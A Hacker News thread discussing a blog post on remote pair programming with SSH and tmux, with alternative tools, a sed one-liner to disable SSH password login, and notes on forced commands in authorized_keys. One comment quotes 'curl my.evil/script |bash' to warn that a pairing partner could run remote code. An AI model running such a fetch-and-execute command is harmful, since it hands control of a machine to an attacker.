

A Simple Pair Programming Setup with SSH and Tmux - trestrantham
http://www.collectiveidea.com/blog/archives/2014/02/18/a-simple-pair-programming-setup-with-ssh-and-tmux/

======
nviennot
[http://tmate.io/](http://tmate.io/) solves that problem, and does it a little
better since it goes through firewalls :)

~~~
trestrantham
This is a great alternative that is definitely more turnkey. I would still
advise setting up public-key authentication and adding the appropriate keys to
authorized_keys for a more secure configuration. Our remote users are "local"
via VPN (which also acts as another layer of security) so we were less
concerned with traversing firewalls, but this is perfect for pairing with
"outsiders". Thanks!

------
wging
Letting people onto my machine makes my skin crawl. I'd rather use something
like Syme: [https://syme.herokuapp.com](https://syme.herokuapp.com)

Seajure, the Seattle-area Clojure user group, uses Syme, and it seems pretty
effective.

~~~
skywhopper
Agreed, it'd be pretty easy to run a quick "curl my.evil/script |bash" when
the sharer wasn't paying attention.

~~~
foldor
This is definitely one of the cases where you completely trust the other
person. Like a work colleague, or very good friend.

------
carrja99
Another tool I tried out for pair programming remotely with great success was
Floobits ([https://floobits.com/](https://floobits.com/)) and their tmux like
terminal plugin flootty.

------
skywhopper
Pretty slick stuff. Fair warning: your "sed -i.bak" lines are only going to
wind up with the next to last version backed up since each update to
sshd_config will overwrite the last sshd_config.bak.

You could chain all the sed changes together into one command (tested on
Linux, OSX's sed might need some tweaks):

    
    
        sed -i.bak 's/^#\?\(\(ChallengeResponse\|Password\)Authentication\).*$/\1 no/' /etc/sshd_config

~~~
trestrantham
This a great tip! We've updated the post and credited you for the info.
Thanks!

------
digitalsushi
My huge takeaway is that you can specify the shell for each key you allow to
connect. I have been tweaking /etc/shells like a dope for the past 15 years.
So what this means is that, when you add a key to your authorized_keys file,
you can also set an optional parameter that forces the command they are going
to run (overriding any command they thought they would run instead).

~~~
gatehouse
Yup. Gitolite uses this method for authentication. The admin configures the
public keys to be forced into the gitolite command, and then gitolite can
handle access control:
[http://gitolite.com/gitolite/how.html#(11)](http://gitolite.com/gitolite/how.html#\(11\))

Sorry for linking into a slideshow it's just the first link I found. Arrow
keys left/right navigate.

------
danielweber
Off-topic: I looked for a link for job postings at to your company, but
instead found your announcement for an open house, in December. Of 2012.

Even if you aren't looking for candidates (I'm coming fresh off the "engineer
crunch" thread so I'm probably overly-hot on the topic), that should be
updated somehow.

------
busterarm
As someone who would prefer to not have to use my Mac anytime I want to pair
with people (I'm primarily a command-line-only Arch guy), this is super useful
to me.

I was way too lazy to figure this out on my own.

------
dpweb
Ah, thank you for this

    
    
        sudo sed -E -i.bak 's/^#?(PasswordAuthentication|ChallengeResponseAuthentication).*$/\1 no/' /etc/sshd_config

------
AaronLasseigne
Has anyone tried wemux?
[https://github.com/zolrath/wemux](https://github.com/zolrath/wemux)

